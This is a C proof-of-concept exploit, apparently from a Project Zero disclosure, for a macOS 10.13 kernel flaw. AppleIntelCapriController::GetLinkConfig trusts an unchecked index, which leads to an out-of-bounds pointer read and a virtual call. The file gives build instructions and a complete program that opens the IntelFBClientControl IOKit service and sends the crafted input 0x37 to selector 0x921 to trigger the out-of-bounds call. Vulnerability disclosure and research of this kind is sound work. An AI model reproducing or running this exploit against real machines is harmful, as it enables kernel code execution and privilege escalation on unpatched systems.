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/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1375
AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/
// ianbeer
// build: clang -o capri_link_config capri_link_config.c -framework IOKit
#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig
AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 8;
//*(uint64_t*)inputStruct = 0x12345678; // crash
*(uint64_t*)inputStruct = 0x37; // oob call
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 4096;
err = IOConnectCallMethod(
conn,
0x921, // GetLinkConfig
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
return 0;
}
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